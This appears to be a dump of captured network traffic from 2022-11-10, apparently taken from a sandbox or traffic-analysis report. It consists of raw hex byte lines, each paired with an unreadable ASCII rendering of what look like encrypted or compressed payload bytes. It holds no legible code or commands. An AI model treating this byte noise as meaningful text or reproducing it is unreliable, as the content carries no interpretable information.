f2 b2 b4 c5 80 72 2b ad b9 51 2e 47 82 53 8b 44 79 fb 54 1c 47 77 74 19 c9 c9 b3 5a b9 27 47 cf 3e 9e 6d 97 20 16 39 28 12 d3 2e 8d 85 8e 04 c7 69 a5 e1 b8 ce 5c 9c af de 7e
                                                                                                              Data Ascii: >Iy}iOPO+e-1J3,7 +WI\V,*oIH":YI7yS d?c@tCpFTggG#!l9aBtpNy>F`A+v/i(=hMjrG^P|'mY@w4!r+Q.GSDyTGwtZ'G>m 9(.i\~
                                                                                                              2022-11-10 19:35:34 UTC117INData Raw: 82 96 0d dd b1 2f 65 15 d8 12 36 e1 20 61 75 97 f5 53 a7 1a 8a cd 59 50 76 a1 11 fc 62 78 5b ba c4 46 ea ab 11 85 ff 4b 06 88 cd 4b 44 b9 0a 01 a3 f1 c1 bd 1b ac 5c 2b d9 72 b5 53 9e ec 2b f3 3c 60 ef 36 f7 85 0f cf cd b5 02 bb 7b 83 f4 f1 fc 60 bf c7 2c 35 aa 0c 18 d8 43 e8 3f f9 4b f8 dc 34 8f 03 a9 29 8a fa f5 00 e4 fe 33 55 f1 c0 62 13 3c 9c a3 a7 e0 8f db b2 7c 3b a9 33 24 08 78 ae 60 79 d6 5f 72 16 a7 d0 6b 7e f3 57 5d 25 af 0f dd da 27 f4 65 2a 8c 28 0b 91 aa 4d 63 97 81 ce 39 02 d1 ca a7 69 07 eb bd 5b 62 d0 39 ee 20 03 8e dc 72 f4 4f 15 bd 4c 91 ca cb f7 88 dd 1b f2 6e 24 89 b4 15 65 cc 43 e4 e6 16 59 68 77 4b 06 93 4f 80 84 00 1b 06 52 4c 1b 42 51 2e d3 92 8c b5 3f ba f6 b3 40 4c f0 f2 04 9b a6 db 9c 51 6a bd 0c 03 d9 ad c8 35 d2 b3 c2 7c d8 0b
                                                                                                              Data Ascii: /e6 auSYPvbx[FKKD\+rS+<`6{`,5C?K4)3Ub<|;3$x`y_rk~W]%'e*(Mc9i[b9 rOLn$eCYhwKORLBQ.?@LQj5|
                                                                                                              2022-11-10 19:35:34 UTC119INData Raw: 7c 81 11 73 2f b2 75 07 aa 69 63 44 ef f6 5b 24 1c 00 2d 6c 38 79 1d 25 0b 9e 75 99 a6 5d 10 a5 a5 c6 82 fa 3c 77 ab 50 35 55 af 22 86 44 68 e5 4e 10 b4 f9 38 0a cb c2 d9 36 2e 48 ab d1 37 f2 6a ba d8 e9 c6 35 1d c5 30 80 1b e1 1b 80 95 df a8 8e cc 5a e2 4d c5 11 1e b8 c9 5f 00 50 14 f8 7c fb 89 47 fa e5 f0 bf 27 3a ad 2f 4f 08 d4 58 24 ef 36 8b b7 0d 5e cd 68 bd 12 25 29 09 04 91 66 da 4a e7 0e b1 ef 68 49 de 8c bb af 65 ea 79 40 c1 8c 92 eb 7c c3 eb 5d c5 cd 71 d5 b7 04 f6 fa dd c0 4f b3 a8 87 58 80 58 15 82 1d f6 26 ba 5f 8a 7a e9 33 d0 6e 36 6f a0 25 cc 63 fe d0 b0 5a ad 3f f1 ba 9f 20 d5 52 0a 41 26 52 e6 e2 69 4d 15 b8 25 dc d1 be dd 7b bf 2a 01 21 7e 30 74 8d ab ae b0 d9 1c ac d7 67 65 af 73 84 01 71 10 53 4e a1 ea 7d 84 f4 b1 ca 34 10 04 72 c0 f6
                                                                                                              Data Ascii: |s/uicD[$-l8y%u]<wP5U"DhN86.H7j50ZM_P|G':/OX$6^h%)fJhIey@|]qOXX&_z3n6o%cZ? RA&RiM%{*!~0tgesqSN}4r
                                                                                                              2022-11-10 19:35:34 UTC120INData Raw: 10 67 e0 95 89 67 5f 51 f8 60 10 0a 4e 8c eb 6d 04 c9 2c 81 c5 d0 cf f9 be 37 ff 7d 5b f5 b8 2b 40 10 b6 1e f9 50 25 e0 75 5a 03 9b b2 11 b6 2d 3a 0e 3e 9e 58 42 55 5c 0e 97 9d b8 30 cf a9 e1 53 4b 95 85 d2 99 ac db 9c 17 f9 fc e4 26 d5 89 c8 3e ea 08 cc 63 d1 f3 b7 74 eb 34 ae 10 8e 56 aa 88 c7 c2 f9 42 53 a7 6c 52 06 29 87 d5 bd 1d 3e c1 0d c9 90 ff 3f 5b 53 54 94 b3 6e 5e 0c ad 55 92 fc 39 c3 81 71 b9 5b af 89 c3 7f dd 18 b8 d0 5e 44 cf d3 a5 83 6b 86 fe 09 85 f4 b6 4b 66 83 a8 b1 60 30 83 f5 cf 9c 7e ab f9 93 a8 ac 14 cb 46 96 e3 0f 4b ef 83 20 ba 9a c6 42 f6 a8 8b 4d 95 f7 bd 7f 36 ff 76 d4 28 92 92 cc 2d 82 a4 48 40 a5 e1 c7 20 11 4d a0 97 a8 94 bd 24 c3 f4 6a 09 08 4c b3 9c 56 da 3c 16 38 9e 02 96 35 79 53 9d 6e 44 14 15 ee 5c c5 b1 d0 fb 54 82 66
                                                                                                              Data Ascii: gg_Q`Nm,7}[+@P%uZ-:>XBU\0SK&>ct4VBSlR)>?[STn^U9q[^DkKf`0~FK BM6v(-H@ M$jLV<85ySnD\Tf
                                                                                                              2022-11-10 19:35:34 UTC121INData Raw: 58 8e c7 a6 e6 16 e7 22 bd 6d 49 7d e9 28 fd aa ca 6e 86 37 de 61 f6 5f c1 5f b2 36 74 df b2 22 fa e0 5d 5e d8 ad 13 48 7b ef 0f 88 21 de 96 e1 dc 7b ab 58 cf 32 6a 30 6f fe cf 78 c1 4a 14 84 0b 69 6d ca bb b5 5f 79 7c 5b 95 16 f9 a2 18 b5 67 45 54 1a 0c 76 ad 99 cd 77 a1 22 92 c2 a8 78 d2 0b b2 17 2c bb d3 ed 05 28 38 cc 87 bf ff 00 6b 6e ef 22 61 78 f2 76 9a 58 36 9e c2 fd 95 3a da 93 78 49 8c e9 8e 16 f0 35 84 6b 97 1c d5 9b 43 38 14 d2 14 2f 98 63 24 75 9d e5 5c d2 c3 9e 51 55 6f b1 3f 17 ee 73 f2 cb d0 12 d8 ec bb 23 c9 fb 50 10 1d dc c1 29 ea 0e 1c b7 45 17 a1 0d 3a 53 2c 46 17 e6 57 e3 87 02 23 3a 63 cd 6d ee 13 76 2c ad b7 0a 90 c4 70 f5 fb d2 cf e0 c6 26 38 b2 e1 f2 b6 b3 ec 20 c7 a7 83 f3 35 a1 1e 90 25 95 e2 8b e6 fa c2 cb d3 a0 bf 61 68 67 9f
                                                                                                              Data Ascii: X"mI}(n7a__6t"]^H{!{X2j0oxJim_y|[gETvw"x,(8kn"axvX6:xI5kC8/c$u\QUo?s#P)E:S,FW#:cmv,p&8 5%ahg
                                                                                                              2022-11-10 19:35:34 UTC122INData Raw: cf 90 77 28 ef 98 b9 a3 dd d7 38 66 f4 19 c1 bf 69 21 bb 32 c4 45 e3 a8 f5 ae 0d e3 9f 04 3b ee 7e d3 aa 4f 84 a3 d6 97 b0 5a 40 11 e0 c7 20 15 d1 8e 9a c7 40 94 35 c8 9b e5 ab 19 4c b1 b9 5a f0 1f 6a 39 94 2e 95 26 68 54 2e 78 7d fa 8d fa 7e d8 a7 bf 16 41 0f 6b 0c f1 86 f1 56 a9 16 61 fd d5 5b 79 d6 5c da 32 02 71 cc 45 80 06 de 38 3d e7 e2 a1 da 61 fb a1 82 46 59 1f 3e b8 b3 e5 4e a8 31 cd 67 da e8 39 2f 16 c8 68 88 00 77 f9 19 14 3a cb 6b 7e 41 61 41 4c ed 3b d2 a0 a9 38 79 1c ae 6c 9f 64 8b a3 4b 2c 78 b4 c3 0c 4d 3a a8 a0 bc 27 74 99 45 93 9e 7f 22 c6 46 b9 76 59 00 d2 d3 a7 53 3e 4d b1 30 3f b4 5c 6e ce 3f cb 28 05 d3 24 8d 85 84 01 7e 96 88 c1 8b c8 5b 5b b2 1e 02 1c 8f bb 4d 05 50 07 86 3c f3 77 42 a5 22 fb ae 29 75 45 32 45 11 f9 8e 37 ea 23 96
                                                                                                              Data Ascii: w(8fi!2E;~OZ@ @5LZj9.&hT.x}~AkVa[y\2qE8=aFY>N1g9/hw:k~AaAL;8yldK,xM:'tE"FvYS>M0?\n?($~[[MP<wB")uE2E7#
                                                                                                              2022-11-10 19:35:34 UTC123INData Raw: 43 61 cc c9 01 41 fb a6 30 7d d6 4a 0c 87 d0 03 26 53 20 41 a9 d9 1b ac 10 b2 5f 1b 0e 01 7a 5b 40 e6 05 09 3e 60 e4 2f ee 13 7c 00 cf b5 bb 20 ab 90 d9 fb d4 b3 a6 f7 23 3c 30 9a af b7 aa e9 3f e2 34 96 f5 34 89 1c 94 12 84 f8 e4 09 f0 dd ed d9 9a e1 60 69 6f ee 4d a1 93 4b ca b7 67 27 c4 44 fc 79 40 a5 48 a9 cb 7f 17 39 e6 12 9b 8d d2 44 71 33 8c 08 dd d0 57 af 9b 2b aa eb 16 fa 78 0b 63 93 f3 0d 32 14 c1 28 7d 7c 18 ef 09 83 64 c6 3a e0 7f 1c 59 2c 8c eb 63 75 8c 4d 80 c3 c7 cc 67 d8 32 f7 76 4f d8 b8 2b 42 32 62 0a dc 7e 0a 67 77 50 1a 8a 70 74 ad 6d 3a 04 23 cd 1a 44 7f 5c 01 90 8c bd 26 cc 85 68 72 4c f6 da d2 99 a6 d1 8a 11 77 26 9e fc d7 ac db 3a d3 b9 fd 6a d1 c7 af 70 ed 3f ab 8a b7 05 82 9c c8 ea 22 68 6f ad ce 5e 3f 7f 1d c1 9f 2f 02 c7 0b de
                                                                                                              Data Ascii: CaA0}J&S A_z[@>`/| #<0?44`ioMKg'Dy@H9Dq3W+xc2(}|d:Y,cuMg2vO+B2b~gwPptm:#D\&hrLw&:jp?"ho^?/
                                                                                                              2022-11-10 19:35:34 UTC125INData Raw: b0 44 00 9b 5a c0 0c 4b 3c 20 bf 42 26 59 84 5e 95 5a 7e e2 c7 3e b9 76 59 a8 da de b6 47 3b 60 f7 ce 3e 92 40 4f 36 ea c6 31 1a 4d 26 8d 94 80 0f 94 83 8c 95 8f cc 54 a5 b4 c4 11 12 91 af 57 14 78 f8 80 23 fc 9e ce 8e 2b f2 be 3e 67 6f 0e 59 14 70 b1 26 ef 3d 3f 95 70 48 a2 1e 94 4a 21 20 12 16 6f 07 b8 4a e1 1b 47 8f 69 49 db 8e 94 96 1a fd 6e c6 fc f7 cf eb de d6 ce 3a 1f db 59 87 a6 0c 8f 21 f7 2f 46 9b 7e 93 d5 8d 49 11 f0 d8 e0 32 98 2f 5a 78 e3 11 e9 bc 34 65 b9 3a c0 66 db b1 d3 5a ab 2a 07 d9 9e 20 d0 f6 46 a0 05 44 fa cc 6e ef 14 b9 87 cf 89 f5 c8 6f 93 01 cf 23 74 2e 44 09 db 61 b4 ce 9b 83 01 65 64 b6 47 a6 7d 65 7d bd 70 a1 ee 75 37 e3 45 51 41 04 2c 28 bb 91 a8 bd 8b cc 9b 75 c1 b0 5d 0c b8 31 f3 a2 fa d0 22 36 40 3e b8 bf f5 dd cf 55 cf 26
                                                                                                              Data Ascii: DZK< B&Y^Z~>vYG;`>@O61M&TWx#+>goYp&=?pHJ! oJGiIn:Y!/F~I2/Zx4e:fZ* FDno#t.DaedG}e}pu7EQA,(u]1"6@>U&
                                                                                                              2022-11-10 19:35:34 UTC126INData Raw: 26 16 0e 34 5c e2 c2 66 f8 56 4e 71 68 42 21 83 65 7e 8f 07 18 15 30 7c 28 43 55 5b 0b ff 9b bd 26 da ea 4e 43 4c fc c3 bd 8e a4 d1 80 7e 43 4a f3 fa 46 fc da 3a d6 dc b0 62 d1 f1 ac ae fe 00 82 ca a6 07 a0 9b d0 c2 65 40 53 a7 10 56 03 07 09 eb 93 3c 3b c1 4a 92 1d f8 3f 5b 52 47 88 a2 67 48 01 b1 57 92 c0 9d d2 88 71 ad 4f 87 fc c3 7f d6 0d 34 ed 5e 39 c8 c5 8d 38 68 86 f4 89 d4 f2 a7 41 60 92 ac 2b 74 18 32 f1 cf 9a 66 45 f8 93 a8 17 05 c1 57 81 fc 19 c7 df 83 20 bb 15 d7 48 e0 b5 aa 4d 0f 76 95 15 34 53 70 c2 b4 e6 eb cc 2c 9c ba 74 eb fe e1 c1 59 33 c3 9f 9d aa bd 11 36 c2 f2 48 97 19 46 ad a0 31 f2 64 1c 57 96 2b 87 3f 16 5a 3e 68 5f 03 8b d1 5b d8 b0 bf b0 43 0f 6b 69 74 9e 27 44 a9 01 6f e4 a8 60 46 29 a9 32 4c 3c 64 1a 5c e7 03 a4 44 36 cf ad cc
                                                                                                              Data Ascii: &4\fVNqhB!e~0|(CU[&NCL~CJF:be@SV<;J?[RGgHWqO4^98hA`+t2fEW HMv4Sp,tY36HF1dW+?Z>h_[Ckit'Do`F)2L<d\D6
                                                                                                              2022-11-10 19:35:34 UTC127INData Raw: 9b c6 81 0b 2f e4 49 ad 37 43 fd 4c 79 ca 11 b8 23 f6 bf e3 dc 7d 93 ad cd 23 74 55 3e e6 d8 67 ad f5 05 9c 01 74 7d bf 9b b6 73 79 15 0c 4f a1 e4 67 91 e9 74 5d 55 01 1c 6f 8b 6f a3 85 a9 33 92 64 d0 96 ef 14 89 22 ea b1 ca d9 1c 2d a9 b3 ab a8 e4 d9 45 66 eb 32 67 50 cc 76 96 52 3a dd c2 f7 9f 29 d2 8c 65 6a 90 e9 36 0e ef 17 8a 6a bb 04 ef 5f a8 c7 eb c7 35 23 8a ee 72 6d 82 f7 a8 d5 f9 96 dc 5a 69 ac cc e4 f4 6b 64 a2 cc 0a 44 e0 b9 56 63 ff 4b 06 ee dd dc 37 7c 04 1e bd ca 09 bf 0a be 4c cd 4e 2d 73 2f a3 e6 03 29 32 7a f6 27 ee 02 64 1d 31 b4 24 95 bd 92 e1 e5 c7 aa bd d6 3e 23 ab 64 ae 9b 90 f9 2c 9c 04 94 dd 32 9d 73 85 38 85 f0 8b 3d fa c2 cb 4c b2 f6 62 68 69 f2 97 a2 93 47 ca a0 69 3e d0 58 eb 1b 60 ba b6 ae f8 56 40 d4 19 ed 62 9e 05 5b 78 36
                                                                                                              Data Ascii: /I7CLy#}#tU>gt}syOgt]Uoo3d"-Ef2gPvR:)ej6j_5#rmZikdDVcK7|LN-s/)2z'd1$>#d,2s8=LbhiGi>X`V@b[x6
                                                                                                              2022-11-10 19:35:34 UTC128INData Raw: 95 15 a9 ff 70 c2 55 94 92 cc a1 94 b0 5c 67 fd e1 c7 07 06 c1 9e a1 aa eb b7 35 c2 fe 77 83 ef 44 a7 82 68 f2 64 05 08 96 2a b5 35 79 59 3a 68 55 01 99 f1 5f d2 b4 d7 ea bd 0e 4d 1f e5 95 27 42 b3 f9 6c c0 c5 72 4c 29 a4 3d dd 0b 4a 18 7d 8a 2f 46 46 47 10 e4 ce 38 1d d9 ab 93 4b 4e a6 c0 47 46 e4 48 80 31 f8 65 dc d5 13 2f 16 cc 78 88 11 63 f2 16 0f 07 ad 7c 8c 40 4d 43 54 f5 0b d1 b6 8d 39 55 1e 4f 67 9f 72 85 4e 4f 38 b1 9f c1 27 ae 29 d6 4f 40 26 52 bf 4f 86 44 6e e2 b5 00 93 68 5a 22 31 c2 a2 59 05 53 9f c8 3e 26 54 67 d9 f4 c7 37 1d be 1c 8d 94 8b 11 83 e4 f3 cc 8f c6 55 b5 31 c4 11 18 85 cf a5 02 50 1c 8f 2b d2 1c 41 89 2d 9d 87 2f 44 74 01 7b 0a d4 18 24 ef 3a f2 8d 52 5c bc 26 9b 1a 36 28 77 87 47 e9 b1 52 3d 63 f8 89 69 43 d0 9f b0 e8 c4 e9 79
                                                                                                              Data Ascii: pU\g5wDhd*5yY:hU_M'BlrL)=J}/FFG8KNGFH1e/xc|@MCT9UOgrNO8')O@&RODnhZ"1YS>&Tg7U1P+A-/Dt{$:R\&6(wGR=ciCy
                                                                                                              2022-11-10 19:35:34 UTC130INData Raw: 31 81 7b 51 9a f9 14 b9 1b 4d ea 19 f1 04 5c 85 cf b5 08 8c a1 a9 e0 f9 d4 b4 97 ad 58 bc b1 9a ab a8 ab 72 1a de 38 b3 c2 2c ab 93 92 3a 85 e4 cc 1b f9 c2 cb 7e b7 9f e0 69 63 99 bc ba 09 64 f4 bc 50 3d da 60 7c 0a 78 a4 55 87 c0 5d 78 06 cd 78 e3 01 0d 48 64 29 ba 95 e9 f8 36 f7 84 31 80 a9 09 ea f5 56 4b 87 f0 00 3d 28 b1 ca f4 6a 07 e5 8a 96 fa f5 1e f6 46 0d 6a 03 2f eb 69 06 a8 64 94 c7 d4 ce 5c b6 49 7f 7e 20 9c a6 37 de 1d 91 15 df 49 56 47 d1 5a 09 8c 7e 56 91 2e 3a 02 03 79 64 c2 54 5d 19 8f 91 25 03 fd 8b 5a 5d 51 da 70 d2 99 a6 cb a2 05 75 4b f5 d6 ac ff 5b 3b d2 a6 d2 7d 4b d0 8b 7e cb 3a b4 aa 08 07 aa 88 d7 c2 30 42 53 ab e4 3e 69 ad 1c c1 91 09 24 5b 2e f3 13 de 20 44 72 f5 9d a2 67 52 0c a3 55 92 fc b1 b8 f6 e5 ac 4f 83 ce e3 e5 f2 22 3a
                                                                                                              Data Ascii: 1{QM\Xr8,:~icdP=`|xU]xxHd)61VK=(jFj/id\I~ 7IVGZ~V.:ydT]%Z]QpuK[;}K~:0BS>i$[. DrgRUO":
                                                                                                              2022-11-10 19:35:34 UTC131INData Raw: 8a 47 2d 48 a9 e4 54 e6 d4 66 d9 ed d9 72 96 e5 0c 83 b2 9e 5e a0 b6 a6 cd 8f d1 76 99 a7 c4 17 32 ec de de 01 50 12 9c 65 60 ac 6e 86 0d ed f9 0d 6c 7c 2d 4f 1d ed a6 32 ed 3c 9b ae 39 22 36 0b bc 16 3e 67 82 27 6a e7 9d 55 a0 2c f3 8a 69 49 c7 b5 a2 85 38 ed 53 20 bd 77 ce ea 78 d8 a4 b4 2e e2 7f f9 b9 44 a5 75 dd c0 45 8c 50 91 5a 8a 4f 3b 9b b2 74 27 b0 73 45 31 73 1c d5 b2 12 70 e3 14 88 70 f3 5f cd 72 b9 3f 8a d8 b4 4a af 65 64 b1 22 4d a6 da 74 c2 1a 9e 3a 94 8a a9 de 7b bb 43 e7 37 7c 3a 6a cd b2 1f 32 d8 16 80 1e 2e ff 80 48 b9 79 6c 20 11 03 a3 ee 74 8f da 73 47 55 16 2e 1a c5 11 a3 a9 a7 3d d4 ef e2 8a de 2d a7 7d d2 e1 d9 c1 03 3a 7f a6 85 bf f3 f6 07 3a 6e 33 61 7c ef 3b 0c 7d 3f a0 e4 e8 d8 1a 8e 91 6b 79 9f c1 33 14 f0 33 5e 05 e9 8d d6 b3
                                                                                                              Data Ascii: G-HTfr^v2Pe`nl|-O2<9"6>g'jU,iI8S wx.DuEPZO;t'sE1spp_r?Jed"Mt:{C7|:j2.Hyl tsGU.=-}::n3a|;}?ky33^
                                                                                                              2022-11-10 19:35:34 UTC132INData Raw: 3b 8f fe 9f 6d d4 85 7c 5a 64 ee d8 d2 9f 8c bb f4 91 76 4b f7 e3 b5 1b fe 17 dc 84 d2 10 f1 b8 a2 70 ed 3c 82 9e a4 07 ac a2 a7 94 a4 41 53 a9 d1 20 8d 08 30 cf b3 09 4f e1 5b da 1d f8 28 73 46 45 9d a4 4d 22 5a 37 56 92 fe 84 a7 12 40 80 41 a1 ce b6 5f 86 0b 34 ed 45 6c da c7 8d 11 43 e8 8a a5 d2 f2 a3 50 16 08 89 06 7b 3e 2d 87 ef cc 62 26 fe 8c a2 85 13 c3 57 9a df 77 b9 50 82 20 bf 27 a0 d2 c4 83 95 6f 10 94 b5 75 30 ff 70 dd af bd 86 ce 2c 90 9a 36 16 7d e0 c7 2e 19 b9 05 b2 85 9b b3 2a ba d4 0a af 19 46 b9 a0 56 f0 64 10 12 fe 54 07 34 79 5d 20 11 cf 35 a2 f4 52 d6 cd f0 8f 47 0f 61 05 d5 8a 25 45 a3 2d 07 92 47 64 47 2d bc 5f b9 2f 4b 14 70 97 7e 85 30 38 e7 e6 d7 1a 77 f9 ab 95 6b 0c fc 40 46 4c ca 57 fb b8 ed 4a d2 c3 0c 54 36 be 7c 88 00 6e d1
                                                                                                              Data Ascii: ;m|ZdvKp<AS 0O[(sFEM"Z7V@A_4ElCP{>-b&WwP 'ou0p,6}.*FVdT4y] 5RGa%E-GdG-_/Kp~08wk@FLWJT6|n
                                                                                                              2022-11-10 19:35:34 UTC133INData Raw: f6 e7 d8 61 92 ed 13 84 01 78 4d b1 67 b7 59 59 e9 4f cf a0 ee 70 b5 69 67 45 55 8a 21 5d aa b7 82 32 a3 22 98 55 fc a2 d0 0b a5 19 e6 b3 db c7 29 a6 29 32 86 bf f1 fc f1 44 ee 32 fb 5d dd 64 b0 78 8e ae c2 f7 b5 78 df 93 6b 66 9b c1 33 14 f0 33 5e e9 e9 8d d6 b3 50 18 89 d8 16 30 08 cb 4e 64 bb c4 cb d4 d5 88 ed 06 7d a6 a3 0b de 7f 6c cd cf 21 c2 94 21 38 55 f9 6b 92 81 da dd ad 53 25 13 8f f9 8f bf 1b a6 75 6a 4a 01 7a 4e 92 ce 17 21 3e 66 cf bd 90 93 7d 00 cb 95 97 93 ab 81 6e de f9 a3 9b e7 b9 3c b0 9a 8f d2 b6 e8 3f ed 1e 81 df 34 8d 36 10 44 05 fb e4 0b db 62 cd 54 dd 7b 45 45 72 bb 83 03 93 41 d9 92 1b 27 c3 40 f1 22 6c a6 48 a9 fe dd 06 80 e6 12 99 a1 ad 48 60 36 3a 2a e1 c4 1e f1 3a 2b a0 37 29 9b f0 4c 63 8a da 14 39 02 dd 9e f6 15 87 e0 95 89
                                                                                                              Data Ascii: axMgYYOpigEU!]2"U))2D2]dxxkf33^P0Nd}l!!8UkS%ujJzN!>f}n<?46DbT{EErA'@"lHH`6:*:+7)Lc9
                                                                                                              2022-11-10 19:35:34 UTC134INData Raw: dc 74 a9 19 40 8d 0e 3c 72 65 16 3c b4 ea 87 35 79 c3 1a 45 47 36 af 3a 74 c9 b4 f0 b2 44 0f 61 02 f4 b6 33 47 a5 01 47 6a b9 e5 46 29 a7 05 e2 0a 66 1a cc ad 29 b7 62 1c 26 e6 ce 32 43 a3 ac 93 41 79 89 e8 53 4e ce 4e aa a4 b6 e7 dd e5 17 0f d4 c9 78 88 9a 50 d4 2f 32 27 68 6b 72 41 41 22 4b fe 0b c9 af 5b 2c 7b 1c 5e 46 19 0b 1d b1 4e 10 93 77 c3 0c 4d b1 88 95 50 00 78 54 40 84 44 48 86 4c 01 b9 69 54 22 df c2 a2 55 05 ce d1 4e 3f 98 50 47 1d e9 c6 37 96 e5 0c 9f b2 a1 df 80 97 a4 ed f1 cb 5e 8d ba e0 39 0c 80 a0 58 2a d2 68 03 22 fa 8d 63 4c 2b f2 bf b7 61 53 3c 69 22 39 8e 26 ef 1c 3f 83 53 5c ae 22 a8 10 21 26 32 80 39 69 ba 4a e3 2c 0c 88 69 49 40 b8 9b 96 1e cb bf 4a c3 f7 ef 4e 7b c7 ec 37 23 db 73 df a0 26 03 4b 5f c1 45 9f 58 42 58 8a 49 8b d4
                                                                                                              Data Ascii: t@<re<5yEG6:tDa3GGjF)f)b&2CAySNNxP/2'hkrAA"K[,{^FNwMPxT@DHLiT"UN?PG7^9X*h"cL+aS<i"9&?S\"!&29iJ,iI@JN{7#s&K_EXBXI
                                                                                                              2022-11-10 19:35:34 UTC136INData Raw: a4 42 30 9b af b3 93 0d 3f f3 36 0f f8 19 9a 3a b2 df 85 fa e4 2f 8d c8 cd 54 c0 c9 74 6a 63 9b 89 25 ed c1 d8 b2 72 02 25 40 eb 0a e2 81 65 bd f2 7f 9e 00 e7 12 bd fc 06 48 60 29 aa 27 d8 d7 38 d7 b1 a9 de b7 08 ea f1 6c 84 93 f2 00 a1 27 f6 a5 52 4b e0 e1 95 8d 40 57 39 f8 60 0c 59 37 8f eb 6f 2c 34 32 00 c4 d4 cc 56 34 37 ff 7f ba bd 94 39 62 18 54 1b f9 56 6a e8 7d 5a 09 93 6a 56 91 2e 3a 02 03 95 64 c2 54 5d 19 b0 65 bf 26 d0 1f 59 6f 5e dc fa 3b 99 a6 d1 aa 8c 7d 4b f3 e3 d5 a9 cf 38 d2 a4 e7 e1 af 75 a7 70 e9 05 40 8a a6 07 30 ad e0 fb 02 60 b9 ad ce 54 37 9d 17 c1 95 0c 13 d5 09 de 1b d2 bd 25 d2 46 9d a6 47 a3 24 b7 57 08 df b6 c3 ae 45 46 4f 87 d1 e3 cb dd 0f 34 f4 76 50 cc c5 8b 3d eb f8 74 24 d3 f6 87 a3 60 92 ac b1 51 35 23 d7 ef 76 66 26 fe
                                                                                                              Data Ascii: B0?6:/Ttjc%r%@eH`)'8l'RK@W9`Y7o,42V479bTVj}ZjV.:dT]e&Yo^;}K8up@0`T7%FG$WEFO4vP=t$`Q5#vf&
                                                                                                              2022-11-10 19:35:34 UTC137INData Raw: 87 a4 c4 11 38 ce ac 5e 00 4e 3e 97 21 fa 8f 69 0b 55 72 be 2d 40 5e 26 4e 02 fc 14 03 c2 2d bb a4 58 5d b6 0a 9c 46 2d 20 18 1c 6f fd b9 4a e1 26 48 f6 e9 48 da 99 96 8b 39 eb 79 d0 e6 da de cc 5c cb ed 2e 0b ef 2d d3 a6 0c 9c 1d cb c2 45 9d 52 07 26 0a 48 11 f5 ec f9 27 b0 77 c0 5d c4 28 de 9c 39 6e aa 34 e9 2d ff 5f d0 43 85 29 88 de 98 0a 53 9b e5 b0 26 56 cc 4e 50 ef 14 22 00 f3 bb c7 fc 75 ba 59 cf 03 1c 36 6c e7 c2 49 a6 db 16 82 2b e7 1b 25 64 b7 5b 53 64 30 4f a1 74 51 b8 e3 41 65 5a 11 04 70 9b f7 ae a9 a3 3a b0 61 c5 a7 d6 21 3a 4f 72 b0 db c5 23 30 56 b2 87 25 d0 f1 7c 62 ce 22 60 78 f0 56 fe 54 12 ae df df 81 38 da 95 41 ff f6 69 26 16 f4 15 65 6a 97 0d 4d 96 79 2a 32 f8 07 31 92 ee 43 1a 91 e4 56 cb da a0 d9 51 78 a0 89 97 88 eb 6f cd cd 2b
                                                                                                              Data Ascii: 8^N>!iUr-@^&N-X]F- oJ&HH9y\.-ER&H'w](9n4-_C)S&VNP"uY6lI+%d[Sd0OtQAeZp:a!:Or#0V%|b"`xVT8Ai&ejMy*21CVQxo+
                                                                                                              2022-11-10 19:35:34 UTC138INData Raw: d8 4b c5 f7 a6 76 c7 a3 d4 0a a7 07 ae a8 fd eb 24 40 c9 88 e3 46 31 0d 2d c0 95 16 1b ff 05 de 1d e7 2b 73 46 45 9d a4 4d ce 5a 37 56 92 fe bb e3 89 65 ad d5 a2 fc d1 59 f7 3e 35 ed 5e 64 9c cb 8d 17 76 98 dc 31 d1 f2 a1 65 e2 ec 2c 2a 74 1c 12 c3 ce 9a 66 bc db be b9 8b 27 f3 56 9c f5 39 b7 de 83 20 a0 10 c3 4a e1 a8 b0 cf 71 63 94 15 30 df 43 c3 a5 95 08 e9 01 84 96 7c 5b fc e1 c7 0a 73 cf 9f 97 b7 9a bd 21 c0 f4 66 81 9f 38 27 89 42 f6 44 22 39 94 2a 1d 10 54 4b 19 48 61 11 8f fa 54 4d ba d0 fd 5c 04 49 09 ff 9e 21 6f 23 79 ed ed c7 61 67 1c a2 25 23 90 43 37 44 ae 24 90 45 3c e7 c6 41 3c 63 fb b4 86 69 72 80 c0 41 66 4c 36 00 23 c8 63 fc d3 12 2f 16 53 5d a5 11 53 d9 0b 15 07 aa 4b d6 4f 61 41 50 d6 1f d4 a0 75 12 ff 62 d8 6d 9f 71 bd 87 4f 14 b3 2e
                                                                                                              Data Ascii: Kv$@F1-+sFEMZ7VeY>5^dv1e,*tf'V9 Jqc0C|[s!f8'BD"9*TKHaTM\I!o#yag%#C7D$E<A<cirAfL6#c/S]SKOaAPubmqO.
                                                                                                              2022-11-10 19:35:34 UTC139INData Raw: 04 76 91 13 dc 29 a2 22 9c 55 92 a6 d0 0b 22 14 df a0 fd e1 56 21 57 b2 a7 39 e5 dc 6d 59 c6 26 63 78 f6 5c 14 26 92 af c2 f3 b5 6c db 93 6b e3 ad c4 36 30 d0 63 75 6b 97 2d 5a a3 54 38 09 f0 02 32 92 e8 49 f3 e3 64 57 d4 d1 a8 9a 52 78 a6 39 34 db 79 48 ed 9e 0a 44 ea 81 ad 45 fd 4b 13 90 f2 c9 35 76 0e 2b 2b a7 91 be 1b a2 75 6b 4e 01 7a cb bb cb 12 05 1e 38 e4 3f ee 33 d9 10 cf b5 14 bb bf 83 f4 fd fe 34 c3 47 27 3c b4 ba f6 b6 b3 e8 a5 d6 1b 87 fb 14 d2 1d 92 3a a5 51 f4 0f fb dd dd 7c c9 e3 60 6e 49 1f dd 23 92 41 dd 92 2c 23 c3 40 71 2f 55 b5 6e 8f 8e 5e 78 00 c7 a9 8d 81 0c 56 48 22 a2 0f ca ff be af 1b 2a a0 33 29 b1 f4 4c 63 09 d7 2d 29 24 fb ef 75 6b 07 c1 56 9d 60 d0 2c d9 48 06 73 23 8b c1 ef 78 32 4d 80 c1 f4 94 77 dc 37 65 5a 0d 8a 9f 0b 18
                                                                                                              Data Ascii: v)"U"V!W9mY&cx\&lk60cuk-ZT82IdWRx94yHDEK5v++ukNz8?34G'<:Q|`nI#A,#@q/Un^xVH"*3)Lc-)$ukV`,Hs#x2Mw7eZ
